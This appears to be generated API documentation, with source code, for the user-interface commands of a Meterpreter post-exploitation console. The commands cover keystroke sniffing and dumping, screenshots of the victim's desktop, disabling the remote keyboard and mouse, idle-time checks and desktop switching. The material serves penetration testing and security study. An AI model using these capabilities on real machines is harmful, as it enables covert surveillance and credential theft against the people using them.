Parent

Class/Module Index [+]

Quicksearch

Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui

The user interface portion of the standard API extension.

Constants

Klass

Public Instance Methods

cmd_enumdesktops(*args) click to toggle source

Enumerate desktops

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 179
def cmd_enumdesktops(*args)
        print_line( "Enumerating all accessible desktops" )

        desktops = client.ui.enum_desktops

        desktopstable = Rex::Ui::Text::Table.new(
                'Header'  => "Desktops",
                'Indent'  => 4,
                'Columns' => [       "Session",
                                                "Station",
                                                "Name"
                                        ]
        )

        desktops.each { | desktop |
                session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
                desktopstable << [ session, desktop['station'], desktop['name'] ]
        }

        if( desktops.length == 0 )
                print_line( "No accessible desktops were found." )
        else
                print( "\n" + desktopstable.to_s + "\n" )
        end

        return true
end
cmd_getdesktop(*args) click to toggle source

Get the current meterpreter desktop.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 210
def cmd_getdesktop(*args)

        desktop = client.ui.get_desktop

        session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"

        print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )

        return true
end
cmd_idletime(*args) click to toggle source

Executes a command with some options.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 79
def cmd_idletime(*args)
        seconds = client.ui.idle_time

        print_line(
                "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")

        return true
end
cmd_keyscan_dump(*args) click to toggle source

Dump captured keystrokes

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 307
def cmd_keyscan_dump(*args)
        print_line("Dumping captured keystrokes...")
        data = client.ui.keyscan_dump
        print_line(client.ui.keyscan_extract(data))

        return true
end
cmd_keyscan_start(*args) click to toggle source

Start the keyboard sniffer

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 289
def cmd_keyscan_start(*args)
        print_line("Starting the keystroke sniffer...")
        client.ui.keyscan_start
        return true
end
cmd_keyscan_stop(*args) click to toggle source

Stop the keyboard sniffer

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 298
def cmd_keyscan_stop(*args)
        print_line("Stopping the keystroke sniffer...")
        client.ui.keyscan_stop
        return true
end
cmd_screenshot( *args ) click to toggle source

Grab a screenshot of the current interactive desktop.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 131
def cmd_screenshot( *args )
        path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
        quality = 50
        view    = true

        screenshot_opts = Rex::Parser::Arguments.new(
                "-h" => [ false, "Help Banner." ],
                "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
                "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
                "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
        )

        screenshot_opts.parse( args ) { | opt, idx, val |
                case opt
                        when "-h"
                                print_line( "Usage: screenshot [options]\n" )
                                print_line( "Grab a screenshot of the current interactive desktop." )
                                print_line( screenshot_opts.usage )
                                return
                        when "-q"
                                quality = val.to_i
                        when "-p"
                                path = val
                        when "-v"
                                view = false if ( val =~ /^(f|n|0)/ )
                end
        }

        data = client.ui.screenshot( quality )

        if( data )
                ::File.open( path, 'wb' ) do |fd|
                        fd.write( data )
                end

                path = ::File.expand_path( path )

                print_line( "Screenshot saved to: #{path}" )

                Rex::Compat.open_file( path ) if view
        end

        return true
end
cmd_setdesktop( *args ) click to toggle source

Change the meterpreters current desktop.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 224
def cmd_setdesktop( *args )

        switch   = false
        dsession = -1
        dstation = 'WinSta0'
        dname    = 'Default'

        setdesktop_opts = Rex::Parser::Arguments.new(
                "-h" => [ false, "Help Banner." ],
                #"-s" => [ true, "The session (Default: '#{dsession}')" ],
                "-w" => [ true, "The window station (Default: '#{dstation}')" ],
                "-n" => [ true, "The desktop name (Default: '#{dname}')" ],
                "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
        )

        setdesktop_opts.parse( args ) { | opt, idx, val |
                case opt
                        when "-h"
                                print_line( "Usage: setdesktop [options]\n" )
                                print_line( "Change the meterpreters current desktop." )
                                print_line( setdesktop_opts.usage )
                                return
                        #when "-s"
                        #  dsession = val.to_i
                        when "-w"
                                dstation = val
                        when "-n"
                                dname = val
                        when "-i"
                                switch = true if ( val =~ /^(t|y|1)/ )
                end
        }

        if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
                print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
        else
                print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
        end

        return true
end
cmd_uictl(*args) click to toggle source

Enables/disables user interface mice and keyboards on the remote machine.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 91
def cmd_uictl(*args)
        if (args.length < 2)
                print_line(
                        "Usage: uictl [enable/disable] [keyboard/mouse]")
                return true
        end

        case args[0]
                when 'enable'
                        case args[1]
                                when 'keyboard'
                                        print_line("Enabling keyboard...")
                                        client.ui.enable_keyboard
                                when 'mouse'
                                        print_line("Enabling mouse...")
                                        client.ui.enable_mouse
                                else
                                        print_error("Unsupported user interface device: #{args[1]}")
                        end
                when 'disable'
                        case args[1]
                                when 'keyboard'
                                        print_line("Disabling keyboard...")
                                        client.ui.disable_keyboard
                                when 'mouse'
                                        print_line("Disabling mouse...")
                                        client.ui.disable_mouse
                                else
                                        print_error("Unsupported user interface device: #{args[1]}")
                        end
                else
                        print_error("Unsupported command: #{args[0]}")
        end

        return true
end
cmd_unlockdesktop(*args) click to toggle source

Unlock or lock the desktop

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 269
def cmd_unlockdesktop(*args)
        mode = 0
        if(args.length > 0)
                mode = args[0].to_i
        end

        if(mode == 0)
                print_line("Unlocking the workstation...")
                client.ui.unlock_desktop(true)
        else
                print_line("Locking the workstation...")
                client.ui.unlock_desktop(false)
        end

        return true
end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 22
def commands
        all = {
                "enumdesktops"  => "List all accessible desktops and window stations",
                "getdesktop"    => "Get the current meterpreter desktop",
                "idletime"      => "Returns the number of seconds the remote user has been idle",
                "keyscan_dump"  => "Dump the keystroke buffer",
                "keyscan_start" => "Start capturing keystrokes",
                "keyscan_stop"  => "Stop capturing keystrokes",
                "screenshot"    => "Grab a screenshot of the interactive desktop",
                "setdesktop"    => "Change the meterpreters current desktop",
                "uictl"         => "Control some of the user interface components",

                #  not working yet
                # "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
        }

        reqs = {
                "enumdesktops"  => [ "stdapi_ui_desktop_enum" ],
                "getdesktop"    => [ "stdapi_ui_desktop_get" ],
                "idletime"      => [ "stdapi_ui_get_idle_time" ],
                "keyscan_dump"  => [ "stdapi_ui_get_keys" ],
                "keyscan_start" => [ "stdapi_ui_start_keyscan" ],
                "keyscan_stop"  => [ "stdapi_ui_stop_keyscan" ],
                "screenshot"    => [ "stdapi_ui_desktop_screenshot" ],
                "setdesktop"    => [ "stdapi_ui_desktop_set" ],
                "uictl"         => [
                        "stdapi_ui_enable_mouse",
                        "stdapi_ui_disable_mouse",
                        "stdapi_ui_enable_keyboard",
                        "stdapi_ui_disable_keyboard",
                ],
        }

        all.delete_if do |cmd, desc|
                del = false
                reqs[cmd].each do |req|
                        next if client.commands.include? req
                        del = true
                        break
                end

                del
        end

        all
end
name() click to toggle source

Name for this dispatcher.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb, line 72
def name
        "Stdapi: User interface"
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.